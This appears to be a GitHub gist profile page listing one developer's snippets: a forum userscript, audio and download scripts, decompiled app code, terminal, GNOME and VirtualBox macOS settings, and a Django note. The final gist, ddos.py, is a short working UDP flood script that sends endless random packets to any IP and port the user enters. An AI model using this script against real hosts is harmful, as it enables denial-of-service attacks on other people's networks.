Skip to content

Instantly share code, notes, and snippets.

View MewX's full-sized avatar
🙀
Backing to the office!

MewX MewX

🙀
Backing to the office!
View GitHub Profile
@MewX
MewX / oursteps.user.js
Last active May 16, 2022 05:05
Disquz auto enter full mode
// ==UserScript==
// @name Disquz auto full mode
// @namespace http://mewx.org/
// @version 0.1
// @description Automatically load the full text version.
// @author MewX
// @match https://www.oursteps.com.au/bbs/archiver/*
// @match http://www.oursteps.com.au/bbs/archiver/*
// @match https://oursteps.co/bbs/archiver/*
// @match http://oursteps.co/bbs/archiver/*
@MewX
MewX / downsampler-threaded.sh
Created June 4, 2021 09:28
downsampler-threaded.sh v4
#!/bin/bash
#########################
#
# NAME:
# downsampler-threaded.sh - A Bash script to automate resampling of 24 bit FLAC files using multiple threads.
#
# SYNOPSIS:
# downsampler-threaded.sh [OPTION [ARGUMENT]...] [--] FILE_OR_FOLDER [FILE_OR_FOLDER...]
#
@MewX
MewX / com.b.a.a.a.c.a.java
Last active March 27, 2021 13:00
ConTenDo Viewer debugging logs
package com.b.a.a.a.c;
import com.b.a.a.a;
import com.b.a.a.a.b.b;
import java.util.WeakHashMap;
public class a implements a {
private static WeakHashMap<Object, byte[]> b = (WeakHashMap)new WeakHashMap<>();
public static Object a(byte[] paramArrayOfbyte) {
@MewX
MewX / dl.sh
Last active November 6, 2020 10:46
Download from Dubox using curl
curl -b cookies.txt -L '<URL from developer tool>' -C - --retry 999 --retry-max-time 0 -o movie.mkv
# OR repeatively
while true; do curl -b cookies.txt -L '<URL from developer tool>' -C - --retry 999 --retry-max-time 0 -o movie.mkv; date; sleep 5; done
@MewX
MewX / settings.json
Last active September 6, 2020 14:12
My Windows Terminal App Settings
// This file was initially generated by Windows Terminal 1.2.2381.0
// It should still be usable in newer versions, but newer versions might have additional
// settings, help text, or changes that you will not see unless you clear this file
// and let us generate a new one for you.
// To view the default settings, hold "alt" while clicking on the "Settings" button.
// For documentation on these settings, see: https://aka.ms/terminal-documentation
{
"$schema": "https://aka.ms/terminal-profiles-schema",
@MewX
MewX / disable.sh
Created October 19, 2019 05:14
Disable gnome animation to reduce CPU load
gsettings set org.gnome.desktop.interface enable-animations false
@MewX
MewX / test.js
Created August 7, 2019 12:39
Flex image with full width and auto height
{/* Copied from: https://github.com/facebook/react-native/issues/950#issuecomment-380490025 */}
<View style={{flex: 1, flexDirection: 'row'}}>
<Image
resizeMode='contain'
style={{
flex: 1,
width: null,
height: null,
aspectRatio: 926/606}}
source={Images[status]} />
@MewX
MewX / config.sh
Created April 16, 2019 03:47
MacOS VirtualBox Configration
vboxmanage modifyvm "MacOS 10.14" --cpuidset 00000001 000106e5 00100800 0098e3fd bfebfbff
vboxmanage setextradata "MacOS 10.14" "VBoxInternal/Devices/efi/0/Config/DmiSystemProduct" "iMac11,3"
vboxmanage setextradata "MacOS 10.14" "VBoxInternal/Devices/efi/0/Config/DmiSystemVersion" "1.0"
vboxmanage setextradata "MacOS 10.14" "VBoxInternal/Devices/efi/0/Config/DmiBoardProduct" "Iloveapple"
vboxmanage setextradata "MacOS 10.14" "VBoxInternal/Devices/smc/0/Config/DeviceKey" "ourhardworkbythesewordsguardedpleasedontsteal(c)AppleComputerInc"
vboxmanage setextradata "MacOS 10.14" "VBoxInternal/Devices/smc/0/Config/GetKeyFromRealSMC" 1
vboxmanage setextradata "MacOS 10.14" VBoxInternal2/EfiGraphicsResolution 1280x800
@MewX
MewX / gist:e3e0d5808ee24064d63f8e44f2dc14f3
Created December 17, 2018 10:45 — forked from ryanpitts/gist:1304725
GROUP BY and Select MAX from each group in Django, 2 queries
'''
given a Model with:
category = models.CharField(max_length=32, choices=CATEGORY_CHOICES)
pubdate = models.DateTimeField(default=datetime.now)
<other fields>
Fetch the item from each category with the latest pubdate.
'''
@MewX
MewX / ddos.py
Created September 14, 2018 11:46
Countering rubbish Australian ADSL
import socket #Imports needed libraries
import random
sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) #Creates a socket
bytes=random._urandom(1024) #Creates packet
ip=raw_input('Target IP: ') #The IP we are attacking
port=input('Port: ') #Port we direct to attack
while 1: #Infinitely loops sending packets to the port until the program is exited.
sock.sendto(bytes,(ip,port))